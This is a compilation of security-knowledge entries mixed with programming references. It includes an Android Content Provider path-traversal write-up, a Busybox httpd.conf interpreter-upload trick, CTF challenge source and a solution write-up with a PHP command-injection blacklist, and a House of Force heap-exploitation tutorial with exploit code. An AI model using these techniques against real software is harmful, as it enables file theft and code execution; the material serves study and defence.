let order: Dessert = .cake(flavor: "Red Velvet")
```
### instance method {.row-span-2}
```swift
enum Traffic {
case light
case heavy
mutating func reportAccident() {
self = .heavy
}
}
var currentTraffic: Traffic = .light
currentTraffic. reportAccident()
// currentTraffic is now .heavy
```
Just like classes and structs, enumerations can have instance methods. If an instance method mutates the value of the enum, it needs to be marked `mutating`
### Initialize from primitive value
```swift
enum Hello: String {
case english = "Hello"
case japanese = "Hello!"
case emoji = "👋"
}
let hello1 = Hello(rawValue: "Hello!")
let hello2 = Hello(rawValue: "Привет")
print(hello1) // Optional(Hello.japanese)
print(hello2) // nil
```
### Computed properties
```swift
enum ShirtSize: String {
case small = "S"
case medium = "M"
case large = "L"
case extraLarge = "XL"
var description: String {
return "The size of this shirt is \(self.rawValue)"
}
}
```
Also See
----
- [Swift Documentation (Official)](https://www.swift.org/documentation/) _(swift.or)_
- [Swift Programming Language (Official)](https://docs.swift.org/swift-book/) _(swift.or)_
- [One-Stop Quick Reference for Swift Developers](https://swiftly.dev/) _(swiftly.dev)_
|
sec-knowleage
|
## Content Provider文件目录遍历漏洞
> 阿里无线安全团队发表于2015年03月11日
### 漏洞描述
Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的。
#### google 官方描述
在导出的 ContentProviders 中实现 openFile 时,如果不能正确验证传入的 URI 参数,就可能存在安全漏洞。
恶意应用可能会提供精心伪装的 URI(例如,包含“/../”的 URI),诱使您的应用为既定目录之外的文件返回 ParcelFileDescriptor,从而允许恶意应用访问您的应用可访问的任何文件。
### 影响范围
几乎 Android 所有系统
### 漏洞详情
#### 漏洞位置
```java
ContentProvider.openFile(Uri uri, String mode)
```
#### 漏洞触发条件
对外暴露的Content Provider组件实现了openFile()接口;
没有对所访问的目标文件Uri进行有效判断,如没有过滤限制如“../”可实现任意可读文件的访问的Content Query Uri,应用为既定目录之外的文件返回 ParcelFileDescriptor,从而允许恶意应用访问您的应用可访问的任何文件。
#### 漏洞原理
对外暴露的Content Provider实现了openFile()接口,因此其他有相应调用该Content Provider权限的应用即可调用Content Provider的openFile()接口进行文件数据访问。
但是如果没有进行Content Provider访问权限控制和对访问的目标文件的Uri进行有效判断,攻击者利用文件目录遍历访问任意可读文件。
### poc/exp
#### 例子1 乌云公开漏洞wooyun-2013-044407:
此APP实现中定义了一个可以访问本地文件的Content Provider组件,为com.ganji.android.jobs.html5.LocalFileContentProvider,因为使用了minSdkServison为“8”,targetSdkVersion=”13”,即此Content Provider采用默认的导出配置,即android:exported=”true”:

该Provider实现了openFile()接口:

通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过”../”实现目录遍历,实现对任意私有数据的访问。
#### 例子2
某社交应用客户端,使用了的minSDKVersion为8,定义了私有权限,并且android:protectionLevel设为了signature

有一个对外暴露的Content Provider,即com.facebook.lite.photo.MediaContentProvider,此Provider没有设置访问权限,而另外一个Provider是设置了访问权限的:

在MediaContentProvider中实现了openFile()接口,没有对传入的URI进行限制和过滤:

此接口本来只想让用户访问照片信息的,但是却可以突破限制,读取其他文件:
POC:

读取到其他文件的内容为:

另外看到Openfile()接口的实现中,如果要访问的文件不存在,就会创建此文件,还有可能的风险就是在应用的目录中写入任意文件。
### 漏洞修复建议
1. 将不必要导出的Content Provider设置为不导出
由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此如果应用的Content Provider不必要导出,阿里聚安全建议声明最低SDK版本为8以上版本;
由于API level 在17以下的所有应用的“android:exported”属性默认值都为true.,因此如果应用的Content Provider不必要导出,阿里聚安全建议显示设置注册的Content Provider组件的“android:exported”属性为false;
2. 去除没有必要的openFile()接口
如果应用的Content Provider组件没有必要实现openFile()接口,阿里聚安全建议移除该Content Provider的不必要的openFile()接口。
3. 过滤限制跨域访问,对访问的目标文件的路径进行有效判断[7]
使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“../”实现任意可读文件的访问的Uri字符串;
4. 设置权限来进行内部应用通过Content Provider的数据共享[6]
使用签名验证来控制Content Provider共享数据的访问权限:设置protectionLevel=”signature”;
#### google 官方建议
建议您采取以下两种策略来消除 ContentProvider 中的路径遍历安全漏洞。
1. 如果您的 ContentProvider 无需向其他应用提供资料,请执行以下操作:
您可以在清单中修改受影响的 ContentProvider 的 \<provider\> 标记,以便设置 android:exported=”false”。此操作将阻止其他应用将 Intent 发送到受影响的 ContentProvider。
您还可以设置 android:permission 属性,将 permission 设为 android:protectionLevel=“signature”,以防止其他开发者编写的应用将 Intent 发送到受影响的 ContentProvider。
2. 如果您的 ContentProvider 需要向其他应用提供资料,请执行以下操作:
您必须确保对 openFile(包含路径遍历字符)的输入,不会造成您的应用返回非预期文件。做法是检查文件的规范路径。例如:
public ParcelFileDescriptor openFile (Uri uri, String mode)
throws FileNotFoundException {
File f = new File(DIR, uri.getLastPathSegment());
if (!f.getCanonicalPath().startsWith(DIR)) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
注意事项:
*使用 URI 参数调用 getLastPathSegment 并不安全,因为恶意应用可能会提供一个经过编码的 URI 路径,例如 %2F..%2F..path%2Fto%2Fsecret.txt,因此 getLastPathSegment 的结果将是 /../../path/to/secret.txt。例如,实施以下代码仍会使您的应用容易受到攻击。*
```java
public ParcelFileDescriptor openFile(Uri uri, String mode){
File f = new File(DIR, uri.getLastPathSegment());
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
```
|
sec-knowleage
|
.\" This man page is Copyright (C) 1999 Andi Kleen .
.\" Permission is granted to distribute possibly modified copies
.\" of this page provided the header is included verbatim,
.\" and in case of nontrivial modification author and date
.\" of the modification is added to the header.
.TH TCP 7 "25 Apr 1999" "Linux Man Page" "Linux Programmer's Manual"
.\" 中文版 Copyright (c) 2000 LetBright, Laser 和 www.linuxforum.net
.SH NAME
tcp \- 传输控制协议 (TCP)
.SH 总缆 SYNOPSIS
.B #include <sys/socket.h>
.br
.B #include <netinet/in.h>
.br
.B tcp_socket = socket(PF_INET, SOCK_STREAM, 0);
.SH 描述 DESCRIPTION
本协议是对 RFC973, RFC1122 和 RFC2001 定义的协议
及其 NewReno 和 SACK 扩充部份实现的。
它在建立在互联网协议
.BR ip (7)
之上的两个套接字之间提供了可靠的面向数据流的全双工连接。
TCP 协议确保了数据按序到达并在数据包丢失时自动重发。
它产生和校验每个数据包的校验和 (checksum)
用以捕捉数据传输时错误。TCP 不保留记录的上下限。
初始的 TCP 接口不包含远端或本地址并且没有规定明确。
在产生一个出站 (outgoing) TCP 连接时使用
.BR connect (2)
来与另个套接字建立一个网络接口。
在接收一个入站 (incoming) 连接时,套接字使用
.BR bind (2)
先取得本地地址和端口,然后调用
.BR listen (2)
使套接字进入侦听状态。
随后可以用
.BR accept (2).
接受为每一个入站 (incoming) 连接建立的新套接字。
一个已经经过
.B accept
或
.B connect
成功调用的套接字表示它已完全明确,可以进行数据传送。
在侦听状态或尚未建立连接的网络接口之间数据传送将不能进行。
Linux 2.2 支持 RFC1323 TCP 高性能扩展。这包括采用大 TCP 数据滑移
窗以支持高延时或高带宽下的多连接。为实现这些功能,必须增加接
收与发送的数据缓存区。它们可以使用
.B net.core.wmem_default
和
.B net.core.rmem_default
sysctl 进行全局设定,或用
.B SO_SNDBUF
和
.B SO_RCVBUF
套接字选项对套接字进行单独设定。
套接字缓存区的最大尺寸,受到由全局变量
.B net.core.rmem_max
和
.B net.core.wmem_max
两个 sysctl 限制。详细细节,请参见
.BR socket (7).
.PP
TCP 支持紧急数据。紧急数据用来通知接收方,在数据流中有需要尽快处理
的重要信息。发送紧急数据,需在
.BR send (2).
中指定
.B MSG_OOB
选项。当紧急数据接收后,内核发送
.B SIGURG
信号到读进程或者那些用 ioctl 设置了
.B FIOCSPGRP
或
.B FIOCSETOWN
套接字的进程或进程组.
当打开了
.B SO_OOBINLINE
套接字选项, 那么紧急数据被放入普通数据流中。
(可以用
.B SIOCATMARK
ioctl 来测试), 否则只有设置了
.BR sendmsg (2)
中的
.B MSG_OOB
标志时,数据才能被接收。
.SH 地址格式 ADDRESS FORMATS
TCP 是建立在 IP 之上(参见
.BR ip (7)).
.BR ip (7)
定义定义的地址格式也适用于 TCP.
TCP只支持点对点通讯,不支持全局及多址广播。
.SH 系统控制 SYSCTLS
可以通过访问
.B /proc/sys/net/ipv4/*
目录下的文件
或通过
.BR sysctl (2)
接口进行访问这些 sysctl.
此外大多数 IP sysctl 也同样适用于 TCP; 参见
.BR ip (7).
.TP
.B tcp_window_scaling
打开 RFC1323 协议中 TCP 滑移数据窗尺寸调整.
.TP
.B tcp_sack
打开 RFC2018 协议中 TCP 选择性确认.
.TP
.B tcp_timestamps
打开 RFC1323 协议中 TCP 时间戳.
.TP
.B tcp_fin_timeout
规定强迫关闭套接字前,等待最后结束数据包的秒数。
这确实与 TCP 协议中有关规定相违背。
但这是防止拒绝服务攻击所要求的。
.TP
.B tcp_keepalive_probes
丢弃数据包前,进行最大 TCP 保持连接侦测. 保持连接仅在
.B SO_KEEPALIVE
套接字选项被打开时才被发送.
.TP
.B tcp_keepalive_time
从不再传送数据到向连接上发送保持连接信号之间所需的秒数,
默认为 10800 秒(3 小时)。
.TP
.B tcp_max_ka_probes
在一定时间发送保持连接时间侦测包的数量。为防止突发信号,此
值不宜设置太高。
.TP
.B tcp_stdurg
使 TCP 紧急指针字段遵循在 RFC973 协议中的严格解释。缺省情况下,
紧急指针字段使用与 BSD 相兼容,指针指向紧急数据后的第一个字节。
在 RFC973 协议中是指向紧急数据后的最后一个字节。打开这一选项
可能造成操作互换性问题。
.TP
.B tcp_syncookies
打开 TCP 同步标签(syncookie),内核必须打开了
.BR CONFIG_SYN_COOKIES
项进行编译. 同步标签(Syncookie)防止一个套接字在有过多试图连接到
达时的过载。当使用同步标签(syncookie)时,客户机可能探测不到
一个超时时间短的过载主机。
.TP
.B tcp_max_syn_backlog
每个接口中待发数据队列 (backlog) 长度。Linux 2.2 中,在
.BR listen (2)
中的定义只说明了已建立的套接字中待发数据队列(backlog)长度。
每个侦测套接字的还未建立的套接字(在
.B SYN_RECV
状态中的)的最大队列长度用这个 sysctl 设置。
当更多的连接请求到达时,Linux
系统将开始丢弃数据包。当同步标签(syncookie)被设置成打开,
数据包仍能被回应时,这个值将被忽略。
.TP
.B tcp_retries1
定义放弃回应一个 TCP 连接请求前发送重试信号的次数。
.TP
.B tcp_retries2
定义放弃在已建立通讯状态下一个 TCP 数据包前重发的次数。
.TP
.B tcp_syn_retries
定义在放弃发送初始同步数据包(SYN packet)到远端主机前重试的次数并返回出
错消息,此值必须小于255。这仅对出站(outgoing)连接超时有效;
对于进站(incoming)连接重发数由
.BR tcp_retries1
定义。
.TP
.B tcp_retrans_collapse
在重发时试图发送全尺寸数据包。
用来解决一些堆栈中的 TCP 缺陷(BUG)。
.\" tcp_rfc1337 并未列入文档因为它过含糊和混乱。
.SH 接口选项 SOCKET OPTIONS
设置或取得 TCP 接口选项,调用
.BR getsockopt (2)
进行读操作或调用
.BR setsockopt (2)
将接口系列选项参数传送到
.BR SOL_TCP
中去.另外,大多数
.B SOL_IP
接口
选项对 TCP 接口也适用。更多资料,请参见
.BR ip (7).
.TP
.B TCP_NODELAY
关闭 Nagle 算法。这意味着数据包将尽可能快地被发送而没有因有网
络中更多的数据包造成的延时,期待一个整数表示的布尔标志。
.TP
.B TCP_MAXSEG
设置或接收最大出站 TCP 数据段尺寸。如果这个选项在建立连接前的
设置,它将改变发送到另一端初始信息包中的 MSS 值。这个值大于
MTU 接口值将被忽略而不起作用。
.TP
.B TCP_CORK
设置此项将不发送部份帧。所有排队的部份帧只在此项清除后,
才能发送。在调用
.BR sendfile (2)
前准备数据报头或对网络吞吐量进行优化有用处。
此选项不能与
.BR TCP_NODELAY
联用.
.SH 输入输出控制字 IOCTLS
这些 ioctl 可以用
.BR ioctl (2)
进行访问。正确调用句法为:
.PP
.RS
.nf
.BI int " value";
.IB error " = ioctl(" tcp_socket ", " ioctl_type ", &" value ");"
.fi
.RE
.TP
.B FIONREAD
返回接收缓存中排队的未读数据的数量。
变量参数是指向一个整数的指针。
.TP
.B SIOCATMARK
如果用户程序已经接收了所有紧急数据,此项返回值为 0。它与
.BR SO_OOBINLINE
联用。变量参数是对测试结果,指向一个整数的指针。
.TP
.B TIOCOUTQ
返回在接口(socket)发送队列中待发送数据数,
该指针返回是一个整数数值。
.SH 出错处理 ERROR HANDLING
当网络发生错误时,TCP 协议将尝试重新发送数据包,
当重发一定失败次数后,产生超时错
.B ETIMEDOUT
或报告在此连接上最后出错消息。
.PP
有时程序需要更快地侦测到出错状态。这可以通过打开
.B SOL_IP
级别的
.B IP_RECVERR
接口选项。当此项打开后,所有入站 (incoming) 错误
被立即送到用户程序中。小心使用该选项\-它使 TCP 协议对路由的改
变和其他正常网络状态变化的容错性下降。
.SH 附注 NOTES
当建立一个连接时发生错误引发一个对
.B SIGPIPE
接口写操作,此操作
仅当
.B SO_KEEPOPEN
接口选项被设置时才能进行。
.PP
TCP 并不具有真正的额外频带(out-of-band)数据; 虽然它可以有紧
急数据。在 Linux 中这意味着如果有其他端发送紧急数据时,旧的紧
急数据将被当作普通数据插入数据流中。(即使
.B SO_OOBINLINE
值没有被设置).这与基于 BSD 堆栈定义不同.
.PP
缺省状态下,Linux 使用与 BSD 兼容的紧急数据指针字段。这与 RFC1122
协议相违背, 但这是与其他堆栈协议相互操作性所要求。它可以用
.B tcp_stdurg
sysctl 加以改变.
.SH 已知错误 ERRORS
.TP
.B EPIPE
另一端意外关闭了套接字连接或对一个关闭了的套接字进行读操作。
.TP
.B ETIMEDOUT
一段时间后,另一端不确认重发数据。
.TP
.B EAFNOTSUPPORT
在
.I sin_family
传递套接字地址类型而不是在
.BR AF_INET 中的。
.PP
任何定义为
.BR ip (7)
出错或普通套接字出错可能返回为 TCP 出错.
.PP
.SH 不足之处 BUGS
不是所有的错误都列入了文档。
.PP 没有描述有关 IPv6 的东西。
.PP
没有描述有关透明代理的选项
.SH 版本 VERSIONS
有关 sysctl 是在 Linux 2.2 中新增的。
.B IP_RECVERR
是 Linux 2.2 中的新特性。
.B TCP_CORK
在 2.2 中是新的内容.
.SH 又见 SEE ALSO
.BR socket (7),
.BR socket (2),
.BR ip (7),
.BR sendmsg (2),
.BR recvmsg (2).
.br
RFC793 协议中对 TCP 有关描述.
.br
RFC1122 协议中对 TCP 要求和一份关于 Nagle 算法描述。
.br
RFC2001 协议中一些 TCP 算法。
.SH "[中文版维护人]"
.B LetBright <letbright@netease.com>
.SH "[中文版最新更新]"
.B 2000/10/21
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
losetup
===
设定与控制循环(loop)设备
## 补充说明
**losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。
### 语法
```shell
losetup [ -e encryption ] [ -o offset ] loop_device file
losetup [ -d ] loop_device
```
### 选项
```shell
-a 显示所有循环设备的状态。
-d 卸除设备。
-e <加密选项> 启动加密编码 。
-f 寻找第一个未使用的循环设备。
-o <偏移量>设置数据偏移量,单位是字节。
```
### 参数
* loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。
* file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img
### loop设备介绍
在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。
上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下。
至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。
### 实例
创建空的磁盘镜像文件,这里创建一个1.44M的软盘:
```shell
dd if=/dev/zero of=floppy.img bs=512 count=2880
```
使用 losetup将磁盘镜像文件虚拟成快设备:
```shell
losetup /dev/loop1 floppy.img
```
挂载块设备:
```shell
mount /dev/loop0 /tmp
```
经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。
卸载loop设备:
```shell
umount /tmp
losetup -d /dev/loop1
```
|
sec-knowleage
|
If you have upload access to a non /cgi-bin folder - upload a httpd.conf and configure your own interpreter.
Details from Busybox httpd.c
https://github.com/brgl/busybox/blob/abbf17abccbf832365d9acf1c280369ba7d5f8b2/networking/httpd.c#L60
> *.php:/path/php # run xxx.php through an interpreter`
> If a sub directory contains config file, it is parsed and merged with any existing settings as if it was appended to the original configuration.
Watch out for Windows CRLF line endings messing up your payload (you will just get 404 errors) - you cant see these in Burp :)
|
sec-knowleage
|
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.List;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.Headers;
public class Backend {
public static void main(String[] args) throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress(8085), 0);
server.createContext("/cat", new CatHandler());
server.createContext("/flag", new FlagHandler());
server.setExecutor(null);
server.start();
}
public static String readFlag() throws Exception {
BufferedReader reader = new BufferedReader(new FileReader("flag.txt"));
String flag = reader.readLine();
reader.close();
return flag;
}
static class CatHandler implements HttpHandler {
@Override
public void handle(HttpExchange t) throws IOException {
try {
String response = getCat(getName(t)).toString();
setHeaders(t);
writeResponse(t, response);
} catch (Exception e) {
System.out.println(e);
t.sendResponseHeaders(500, 0);
} finally {
t.close();
}
}
private String getName(HttpExchange t) {
String path = t.getRequestURI().getPath();
return path.replaceFirst("^/cat", "");
}
private Integer getCat(String name) {
return Math.abs(name.hashCode()) % 9;
}
}
static class FlagHandler implements HttpHandler {
@Override
public void handle(HttpExchange t) throws IOException {
try {
String response = readFlag();
setHeaders(t);
writeResponse(t, response);
} catch (Exception e) {
System.out.println(e);
t.sendResponseHeaders(500, 0);
} finally {
t.close();
}
}
}
private static void writeResponse(HttpExchange t, String response) throws IOException {
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
private static void setHeaders(HttpExchange t) {
if (canCloseConn(t)) {
t.getResponseHeaders().set("Connection", "close");
}
t.getResponseHeaders().set("Content-Type", "text/plain");
}
private static boolean canCloseConn(HttpExchange t) {
List<String> connectionHeaders = t.getRequestHeaders().get("Connection");
if (connectionHeaders == null || (connectionHeaders.size() == 1 && connectionHeaders.get(0).toLowerCase() == "close")) {
return true;
}
return false;
}
}
|
sec-knowleage
|
# Captcha Revenge (Web)
In the task we get a website which displays some brainfuck code and an audio captcha challenge.
If we have 0 captchas solved, it actually tells us the solution for the first one.
The goal is to get a certain number of correct, consecutive solutions.
Brainfuck part is rather trivial, we have challenge like:
```
Can y0u print something out of this brain-fucking c0de?
++++++++++[ > ++++++ < -]>.[-]++++++++++[ > ++++++ < -]>+++.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > ++++++++++ < -]>++++.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++++++.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > ++++++++++++ < -]>.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++++ < -]>+.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > ++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > +++++ < -]>++++++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > ++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > +++++ < -]>+++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > +++++++++ < -]>+++++++++.[-]++++++++++[ > ++++++++++ < -]>++++.[-]++++++++++[ > +++++++++++ < -]>+.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++ < -]>.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > ++++++++++++ < -]>.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > ++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++++++++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > ++++++ < -]>+++.[-]++++++++++[ > ++++++ < -]>++.[-]
```
Which translates to:
```php
<?php
$exp = 35074*93723+83241+77719*70047+15999
echo (exp);
?>
```
There can be examples in other languages, but in all cases we have `exp = some_equation`, so we can simply eval this in python.
We grabbed some random python lib to evaluate brainfuck, and then just did:
```python
def evaluate_brainfuck(code):
some_code = brainfuck.evaluate(code)
bf = re.findall(r"exp = (.*)\n", some_code)[0]
return str(eval(bf)) # let's hope they won't send anything nasty...
```
The hard part seems to be the captcha itself. We've done a fair share of those in the past, but this one was actually hard.
Stuff like Google Speech API would fail, and we couldn't simply cut this in parts and match individual numbers, because they were slight differences between captchas (pitch, speed etc).
However, we noticed that this is a `web` task and not a `ppc`!
So maybe we don't really have to solve any captchas at all?
Some dirbusting got us a hit on `.git`, which meant we could download the [source code of the challenge](source.php).
There was an interesting function:
```php
function is_clean($input){
if (preg_match("/SESSION/i", $input)){//no seesion variable alteration
bad_hacking_penalty();
return false;
}
if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection
bad_hacking_penalty();
return false;
}
if (preg_match('/(file|echo|die|print)/i', $input)){//no file access
bad_hacking_penalty();
return false;
}
if (preg_match("/(or|\|)/", $input)){//Be brave use AND
bad_hacking_penalty();
return false;
}
if (preg_match('/(flag)/i', $input)){//don't take shortcuts
bad_hacking_penalty();
return false;
}
//clean input
return true;
}
```
Which was used to filter our answer because it would go into `assert("'$real_ans' === '$user_ans'")` and `assert` works like `eval`, so otherwise we could actually execute code there.
It's quite obvious that intended solution was to bypass those checks and gain RCE, but we're too lazy for that.
We noticed in the code that captchas come from:
```php
function random_string(){
$captcha_file = "xxxxxxxx";
$random_index = rand(0, 999);
$i = 1;
foreach(file($captcha_file) as $line) {
if ($i == $random_index) return $line;
$i++;
}
}
```
Which means there are only 1000 unique options to choose from.
Why not just download a lot of them and actually solve the game?
It's doable since they tell us the solution for a captcha if we have 0 solved.
We can simply do a GET to the page, download captcha, read the solution, and save the file for future:
```python
def download_captchas():
url = "http://51.15.73.163:13335/"
we_have = {}
for file in os.listdir("download"):
with codecs.open("download/" + file, "rb") as input_file:
we_have[input_file.read()] = file
while len(we_have) < 1000:
r = requests.get(url)
id = re.findall("source src=gen_cap/(.*) type=", r.text)[0]
answer = re.findall("e.g Type '(.+?)'", r.text)[0]
b = requests.get(url + "gen_cap/" + id).content
if b not in we_have:
print("new one!", len(we_have))
we_have[b] = answer
with codecs.open("download/" + answer, "wb") as output_file:
output_file.write(b)
```
This code simply downloads and stores unique captchas.
In the meantime we can try to win the game with the captchas we already have.
We just go on the page, download captcha and check if we got this one.
If we do, then we send the answer.
Otherwise we start all over again:
```python
def solve():
while True:
try:
captchas = {}
for file in os.listdir("download"):
with codecs.open("download/" + file, "rb") as input_file:
captchas[input_file.read()] = file
url = "http://51.15.73.163:13335/"
r = s.get(url)
for i in range(501):
brainfuck = re.findall("c0de\?<br>\n(.*?)</div>", r.text, re.DOTALL)[0]
brainfuck = brainfuck.replace(">", ">").replace("<", "<")
id = re.findall("source src=gen_cap/(.*) type=", r.text)[0]
b = requests.get(url + "gen_cap/" + id).content
brainfuck_answer = evaluate_brainfuck(brainfuck)
captcha_solution = captchas[b]
r = s.post(url, data={"captcha": captcha_solution, "answer": brainfuck_answer}, cookies={"PHPSEESSID": "p4rulezz"})
print(r.text)
break
except KeyError:
print("missing captcha :(")
pass
```
This code will loop until we actually get the flag.
It took a while to download enough examples to win, but in the end we got: `CTF{too_many_captchas_but_PHP_made_it_a_cakewalk}`
But in our case PHP didn't really help at all.
|
sec-knowleage
|
# TAMU CTF 2019
Writeups for various challenges from the 2019 [TAMU CTF competition](https://tamuctf.com/).
|
sec-knowleage
|
### House Of Force介绍
House Of Force 属于 House Of XXX 系列的利用方法,House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。
但是,由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效,我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章,你可以在这里读到它的原文:
https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt
### House Of Force原理
House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆(heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:
1. 能够以溢出等方式控制到 top chunk 的 size 域
2. 能够自由地控制堆分配尺寸的大小
House Of Force 产生的原因在于 glibc 对 top chunk 的处理,根据前面堆数据结构部分的知识我们得知,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。然而在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证
```
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
```
然而,如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证,这也就是我们前面说的需要一个能够控制top chunk size 域的漏洞。
```
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)
```
一般的做法是把 top chunk 的 size 改为-1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说unsigned long 中最大的数,所以无论如何都可以通过验证。
```
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
```
之后这里会把 top 指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意值(write-anything-anywhere)。
**与此同时,我们需要注意的是,topchunk的size也会更新,其更新的方法如下**
```c
victim = av->top;
size = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);
```
所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。
### House Of Force简单示例1
在学习完 HOF 的原理之后,我们这里通过一个示例来说明 HOF 的利用,这个例子的目标是通过HOF来篡改 `malloc@got.plt` 实现劫持程序流程
```
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}
```
首先,我们分配一个 0x10 字节大小的块
```
